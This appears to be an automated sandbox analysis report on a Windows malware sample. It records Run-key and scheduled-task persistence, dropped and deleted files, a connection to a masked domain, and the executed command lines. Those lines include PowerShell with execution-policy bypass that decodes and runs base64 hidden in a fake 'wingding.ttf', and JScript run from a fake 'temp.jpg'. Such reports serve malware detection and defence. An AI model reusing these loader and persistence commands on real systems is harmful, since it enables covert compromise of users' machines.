Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'MicrosoftEdge' = '<SYSTEM32>\wscript.exe %WINDIR%\temp\Windows.vbe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'MicrosoftEdge' = '<SYSTEM32>\wscript.exe %WINDIR%\temp\Windows.vbe'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V:ON/C"set 4F8=powershell -exec bypass -c kiex([Sys7em.Tex7.Encoding]::AS2oII.ze7S7ring([Sys7em.2oonver7]::FromBase64S7ring((ge7-con7en7 '2o:\users\public\wingding.77f'jjjjk&&set SZ=!4F8:2o=C!...
- '<SYSTEM32>\cscript.exe' /E:jscript C:\\Windows\\Temp\\temp.jpg
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec Bypass -c $s=(get-content C:\\ProgramData\\Microsoft.db);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256...
Modifies file system
Creates the following files
- C:\users\public\wingding.ttf
- %WINDIR%\temp\temp.jpg
- %WINDIR%\temp\windows.vbe
- %ALLUSERSPROFILE%\microsoft.db
- %TEMP%\04-mylbx.0.cs
- %TEMP%\04-mylbx.cmdline
- %TEMP%\04-mylbx.out
- %TEMP%\cscdf18.tmp
- %TEMP%\resdf28.tmp
- %TEMP%\04-mylbx.dll
Deletes the following files
- %TEMP%\resdf28.tmp
- %TEMP%\cscdf18.tmp
- %TEMP%\04-mylbx.cmdline
- %TEMP%\04-mylbx.out
- %TEMP%\04-mylbx.dll
- %TEMP%\04-mylbx.pdb
- %TEMP%\04-mylbx.0.cs
Network activity
Connects to
- 'oh#.ie':80
UDP
- DNS ASK oh#.ie
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' %WINDIR%\temp\Windows.vbe
- '<SYSTEM32>\cmd.exe' /V:ON/C"set 4F8=powershell -exec bypass -c kiex([Sys7em.Tex7.Encoding]::AS2oII.ze7S7ring([Sys7em.2oonver7]::FromBase64S7ring((ge7-con7en7 '2o:\users\public\wingding.77f'jjjjk&&set SZ=!4F8:2o=C!...' (with hidden window)
- '<SYSTEM32>\cscript.exe' /E:jscript C:\\Windows\\Temp\\temp.jpg' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec Bypass -c $s=(get-content C:\\ProgramData\\Microsoft.db);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\04-mylbx.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDF28.tmp" "%TEMP%\CSCDF18.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' /automation -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -c "iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((get-content 'C:\users\public\wingding.ttf'))))"
- '<SYSTEM32>\cscript.exe' /E:jscript C:\\Windows\\Temp\\temp.jpg
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\04-mylbx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDF28.tmp" "%TEMP%\CSCDF18.tmp"
- '<SYSTEM32>\schtasks.exe' /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR "<SYSTEM32>\wscript.exe %WINDIR%\temp\Windows.vbe"
